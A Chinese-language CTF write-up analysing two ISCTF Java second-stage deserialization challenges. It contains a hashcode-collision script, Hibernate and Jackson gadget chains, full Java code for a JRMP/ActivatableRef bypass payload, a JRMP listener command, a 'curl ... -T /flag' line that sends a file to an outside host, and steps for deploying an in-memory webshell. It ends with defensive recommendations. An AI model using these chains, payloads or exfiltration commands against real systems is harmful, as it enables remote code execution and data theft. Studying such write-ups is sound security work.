ISCTF两道二次反序列化题目分析
字数 1167 2025-12-08 12:11:20
Java反序列化漏洞高级利用技术:二次反序列化与JRMP绕过
概述
本文深入分析ISCTF中两道涉及二次反序列化的CTF题目,重点讲解在黑名单限制下的高级绕过技术,特别是通过JRMP(Java Remote Method Protocol)实现二次反序列化的方法。
挑战一:Regretful_Deser
题目环境分析
- JDK版本:1.8.0_472
- 反序列化入口点存在hashcode验证机制
- 安全限制:需要绕过黑名单实现RCE
关键限制条件
1. Hashcode验证绕过
题目要求传入的pass字符串不能与"n1ght"相等,但hashcode必须相等:
// 计算hashcode碰撞的脚本
public static void main(String[] args) {
String target = "n1ght";
int targetHash = target.hashCode();
List<String> collisions = new ArrayList<>();
char s0 = 'n'; // 110
char s1 = '1'; // 49
int pow4 = 31 * 31 * 31 * 31;
int pow3 = 31 * 31 * 31;
int pow2 = 31 * 31;
int pow1 = 31;
int part01 = s0 * pow4 + s1 * pow3;
for (char s2 = 32; s2 <= 126; s2++) {
int part2 = part01 + s2 * pow2;
for (char s3 = 32; s3 <= 126; s3++) {
int part3 = part2 + s3 * pow1;
int s4Ascii = targetHash - part3;
s4Ascii = (s4Ascii % 0x10000000 + 0x10000000) % 0x10000000;
if (s4Ascii >= 32 && s4Ascii <= 126) {
char s4 = (char) s4Ascii;
String test = "" + s0 + s1 + s2 + s3 + s4;
if (!test.equals(target) && test.hashCode() == targetHash) {
collisions.add(test);
}
}
}
}
// 结果:[n1giU, n1gj6, n1hIt, n1hJU, n1hK6, n1i*t, n1i+U, n1i,6]
}
2. 反序列化黑名单
"org.apache.commons.collections",
"javax.swing",
"com.sun.rowset",
"com.sun.org.apache.xalan",
"java.security",
"java.rmi.MarshalledObject",
"javax.management.remote.rmi.RMIConnector"
技术突破点
Hibernate Getter链利用
由于CC链被禁用,选择Hibernate 5.6.15.Final反序列化链:
org.hibernate.property.access.spi.GetterMethodImpl.get()
→ org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
→ org.hibernate.type.ComponentType.getPropertyValue(C)
→ org.hibernate.type.ComponentType.getHashCode()
→ org.hibernate.engine.spi.TypedValue$1.initialize()
→ org.hibernate.engine.spi.TypedValue$1.initialize()
→ org.hibernate.internal.util.ValueHolder.getValue()
→ org.hibernate.engine.spi.TypedValue.hashCode()
二次反序列化绕过
关键发现:com.sun.jndi.ldap.LdapAttribute未被禁用,但高版本JDK限制LDAP利用。转而使用JRMP绕过。
JRMP利用技术详解
ActivatableRef类分析
public class ActivatableRef implements RemoteRef {
private RemoteRef getRef() throws RemoteException {
if (ref == null) {
ref = activate(false); // 关键调用点
}
return ref;
}
private RemoteRef activate(boolean force) throws RemoteException {
Remote proxy = id.activate(force);
// 通过动态代理触发RemoteObjectInvocationHandler
}
}
完整利用链构造
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
public class JRMPBypass {
public static Object createJRMPPayload(String host, int port) throws Exception {
// 构造JRMP连接信息
ObjID id2 = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
// 创建动态代理处理器
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// 创建代理对象
Object proxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class, Activator.class},
handler
);
// 构造ActivationID
ActivationID activationID = new ActivationID((Activator) proxy);
// 创建ActivatableRef实例
ActivatableRef activatableRef = new ActivatableRef();
setField(activatableRef, "id", activationID);
return activatableRef;
}
private static void setField(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
最终调用栈
sun.rmi.transport.StreamRemoteCall.executeCall()
→ sun.rmi.server.UnicastRef.invoke()
→ java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod()
→ java.rmi.server.RemoteObjectInvocationHandler.invoke()
→ com.sun.proxy.$Proxy0.activate()
→ java.rmi.activation.ActivationID.activate()
→ sun.rmi.server.ActivatableRef.activate()
实战利用步骤
- 启动JRMP监听器:
java -jar java-chains.jar -i 0.0.0.0
- 构造Hibernate链触发getter:
// 将JRMP payload嵌入Hibernate反序列化链中
// 通过GetterMethodImpl.get()触发ActivatableRef.getRef()
- 外带flag:
curl https://dns/ -T /flag
挑战二:load_jvav
环境特点
- JDK版本:11(关键差异)
- 存在文件上传和反序列化功能
- 黑名单限制与第一题类似
技术差异点
JDK 11的影响
- 许多JDK 8的利用链在JDK 11中失效
- 需要重新寻找合适的利用链
利用链选择
由于RMIConnector的connect方法被限制,转而使用其他二次反序列化点:
// 调用栈显示利用Jackson反序列化链
TemplatesImpl.getOutputProperties()
→ 动态代理调用
→ Jackson序列化过程
→ EventListenerList.readObject()
→ RMIConnector.connect() // 二次反序列化触发点
关键技术点
内存马技术
由于题目环境不出网,需要部署内存马:
- 利用TemplatesImpl加载恶意字节码
- 通过反序列化触发内存马部署
- 实现文件读取和命令执行功能
完整利用流程
- 构造包含TemplatesImpl的Jackson反序列化链
- 通过二次反序列化触发恶意类加载
- 部署内存Webshell或命令执行后门
- 读取flag文件内容
总结与防护建议
技术要点总结
- hashcode碰撞:通过数学计算找到hashcode相等的不同字符串
- 黑名单绕过:利用未被禁用的类实现二次反序列化
- JRMP利用:通过ActivatableRef触发远程方法调用
- JDK版本适配:针对不同JDK版本调整利用链
防护措施
- 完善黑名单:定期更新已知危险类列表
- 使用白名单:优先采用反序列化白名单机制
- 升级JDK:及时更新到最新版本,修复已知漏洞
- 代码审计:定期检查反序列化入口点的安全性
- 运行时监控:部署RASP进行实时攻击检测
通过深入理解这些高级利用技术,安全人员可以更好地防御复杂的反序列化攻击,同时CTF选手也能掌握更强大的漏洞利用能力。